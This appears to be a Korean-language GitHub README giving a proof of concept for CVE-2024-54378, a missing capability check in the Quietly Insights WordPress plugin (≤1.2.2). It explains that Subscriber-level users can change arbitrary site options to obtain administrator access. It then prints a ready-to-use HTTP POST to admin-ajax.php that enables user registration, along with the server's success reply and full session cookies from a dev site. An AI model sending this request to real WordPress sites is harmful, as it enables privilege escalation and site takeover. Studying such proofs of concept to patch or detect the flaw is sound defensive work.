randomrobbiebf/cve-2024-54378Quietly Insights <= 1.2.2 - 인증된 (구독자 이상) 사용자에게 권한 부여 누락으로 인한 임의 옵션 업데이트
Quietly Insights <= 1.2.2 - 인증된(Subscriber+) 사용자의 임의 옵션 업데이트를 허용하는 인가 누락
Quietly Insights WordPress 플러그인은 1.2.2 버전을 포함한 모든 버전에서 함수에 대한 기능 검사(capability check) 누락으로 인해 권한 상승으로 이어질 수 있는 데이터 무단 수정에 취약합니다. 이로 인해 Subscriber 이상의 액세스 권한을 가진 인증된 공격자가 WordPress 사이트의 임의 옵션을 업데이트할 수 있습니다. 이를 활용하여 등록 시 기본 역할을 관리자로 변경하고 사용자 등록을 활성화하여 공격자가 취약한 사이트에 관리자 사용자 액세스 권한을 얻을 수 있습니다.
쿠키를 자신의 것으로 변경하세요.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C31038bfa66d0777c50fba66263f613d288a20d1e14dfc0fc06903f77d1c9e41f; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wp-settings-time-1=1734520301; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C987ff9134b881efe3cced2fa12593fd0ba5b2b02613fb93f48433b112015551a; PHPSESSID=49f0a4bfb294cad31ed4a83ede9bf485; tk_ai=zv7IX5yQT%2F6RzXuKQwqmMvEV; th_shop_mania_thms_time=1735227350366; tk_qs=
action=save_qap_id&option=users_can_register&new_value=1
{"option was":"users_can_register","value was":"1","success":true,"message":"Database updated successfully."}